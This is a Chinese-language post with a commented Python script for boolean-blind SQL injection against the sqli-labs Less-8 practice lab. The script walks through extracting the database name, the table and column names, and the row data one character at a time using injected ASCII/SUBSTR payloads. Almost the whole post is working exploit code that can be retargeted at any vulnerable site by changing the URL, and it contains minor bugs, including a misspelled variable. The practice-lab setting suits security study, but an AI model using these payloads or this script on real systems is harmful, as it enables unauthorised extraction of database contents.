SQL注入-布尔盲注脚本-注释版

 改代码可以直接用于sqli-labs第八关，其他关卡需要简单修改代码，可以按照数据库长度-数据库名-表数量-表长度-表名称等依次爆破

#布尔盲注脚本
#为了更加方便的进行布尔盲注，而且省略大部分重复且繁琐的步骤，故写下此脚本
#首先判断是否存在注入、注入点、闭合方式，再修改执行以下内容
import requests

global url # 目标url
url = "http://sqli-labs/Less-8/?id="

global chars # 需要爆破的字符集
chars = "abcdefghijklmnopqrstuvwxyz_@!#1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ"

def send_payload(payload):
    #发送一个HTTP GET请求到指定的URL，并将请求的结果存储在变量r中
    r = requests.get(url + payload) 
    r.encoding = 'utf-8'
    if("You are in.......") in r.text:
        return True
    return False

# 1.获取数据库名的长度
def get_database_name_length():
    length = 0
    while True:
        payload = f" ' or (SELECT LENGTH(database())) = {length} --+"  # PAYLOAD
        #数据库的长度猜对了
        if send_payload(payload):
            print("数据库长度为:",length)
            return length
        length += 1

# 2.获取数据库名
def get_database_name(length):
    database = ""
    # 1~length 因为range的范围是[1,lengh+1)
    for i in range(1, length+1):   
        for char in chars:
            payload = f" 1' AND (SELECT ASCII(substr(database(),{i},1)))={ord(char)}--+" # PAYLOAD注意格式和括号，不要忘记--+
            if send_payload(payload): # 如果返回You are in...
                database += char
                print("数据库名称为:",database)
                break # 获取到该位置的字母后寻找下一位置的字母
    return database # 返回完整的数据库名

# 3.获取表的数量
def get_table_num(database):
    table_num = 0
    while True:
        payload = f" 1' AND (SELECT count(table_name) from information_schema.tables where table_schema='{database}')={table_num}--+"
        if send_payload(payload):
            print("表的数量为：",table_num)
            break
        table_num += 1

# 4.获取当前数据库下所有表名的长度
def get_table_name_length(database,table_num):
    table_name_length_list = [] # 用一个列表来存表名
    for i in range(0, table_num):
        table_name_length = 0
        while True:
            payload = f" ' OR LENGTH((SELECT table_name from information_schema.tables WHERE table_schema = '{database}' LIMIT {i},1))={table_name_length} --+"
            if send_payload(payload):
                print(f"第{i+1}个表的长度为",table_name_length)
                table_name_length_list.append(table_name_length)
                break
            table_name_length += 1
    return table_name_length_list

# 5.获取当前数据库下的所有表名
def get_table_name(database, table_num, table_name_length_list):
    table_name_list = []
    # 表的数量-LIMIT从0开始
    for i in range(0, table_num):
        table_name = '' # 每张表的名字
        # 根据每张表的长度爆破其每一位的字母
        for j in range(1, table_name_lentgh_list[i]+1):
            for char in chars:
                payload = f"' OR {ord(char)} = (SELECT ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='{database}' LIMIT {i},1),{j},1)))--+"
                if send_payload(payload):
                    # 拆解了一位
                    table_name += char
                    print(f"第{i+1}个表名为：",table_name)
                    break
        table_name_list.append(table_name)
    return table_name_list

# 6.获取当前数据库下的所有表的所有字段的个数
def get_column_num(database, table_name_list):
    for table_name in table_name_list:
        column_num = 0
        while True:
            payload = f"' OR {column_num} = (SELECT count(column_name) from information_schema.columns WHERE table_name='{table_name}')--+"
            if send_payload(payload):
                print("{}表的列数为:".format(table_name),column_num)
                break
            column_num = column_num + 1
        # 接下来就指定一个数据库做测试了
        column_length_list = get_column_length(database, table_name, column_num)
        # column_name_list = get_column_name(database, table_name, column_num, column_length_list)
        # data_num_list = get_data_num(database, table_name,column_name_list)
        # get_data(database,  table_name, column_name_list, data_num_list)

# 7.获取当前数据库下的所有表的每个字段的长度
def get_column_length(database, table_name, column_num):
    column_length_list = []
    for i in range(column_num):
        j = 0
        while True:
            payload = f"' OR {j} = (SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_name='{table_name}' AND table_schema='{database}' LIMIT {i},1)--+"
            if send_payload(payload):
                print("{}表第{}列的长度为:".format(table_name, i+1), j)
                column_length_list.append(j)
                break
            j += 1
    return column_length_list

# 8.获取当前数据库下的所有表的每个字段的名字
def get_column_name(database, table_name, column_num, column_length_list):
    column_name_list = []
    for i in range(column_num):
        column_name = ""
        for j in range(1,column_length_list[i]+1):
            for char in  chars:
                payload = f"' OR {ord(char)} = (ASCII(SUBSTR((SELECT column_name from information_schema.columns WHERE table_name='{table_name}' limit {i},1),{j},1)))--+"
                if send_payload(payload):
                    column_name = column_name + char
                    print("{}表第{}列的值为:".format(table_name, i+1), column_name)
                    break
        column_name_list.append(column_name)
    return column_name_list

# 9.获取当前数据库下的当前表中的数据条数
def get_data_num(database, table_name, column_name_list):
    data_num_list = []
    for column_name in column_name_list:
        data_num = 0
        while True:
            payload = f"' OR {data_num} = (select count({column_name}) from {database}.{table_name})--+"
            if send_payload(payload):
                print("{}表的{}列共有{}条数据".format(table_name, column_name, data_num))
                data_num_list.append(data_num)
                break
            data_num += 1
    return data_num_list

# 10.获取当前数据库下的当前表中的值
def get_data(database,table_name,column_name_list,data_num_list):
    for i in range(len(data_num_list)):
        for j in range(data_num_list[i]):
            data_length = 0
            while True:
                payload = f"' OR {data_length} = (select length({column_name_list[i]}) from {database}.{table_name} limit {j},1)--+"
                if send_payload(payload):
                    print("{}表的{}列第{}条数据的值为:".format(table_name, column_name_list[i], j+1), data_length)
                    break
                data_length += 1
            data = ''
            for k in range(data_length):
                for char in chars:
                    payload_ = f"' OR {ord(char)} = (ASCII(SUBSTR(CAST((SELECT {column_name_list[i]} FROM {database}.{table_name} limit {j},1) AS CHAR), {k+1}, 1)))--+"
                    if send_payload(payload_): 
                        data = data + char
                        print("{}表的{}列第{}条数据的值为:".format(table_name, column_name_list[i], j+1), data)
                        break



if "__main__" == __name__:
    #1 length = get_database_name_length()
    #2 database = get_database_name(length)
    #3 table_num = get_table_num(database)
    #4 table_num_list = get_table_name_length(database,table_num)
    #5 table_name_list = get_table_name(database,table_num,table_name_lentgh_list)
    length = 8
    database = 'security'
    table_num = 4
    table_name_lentgh_list=[6,8,7,5]
    table_name_list = ['emails','referers','uagents','users']
    get_column_num(database, table_name_list)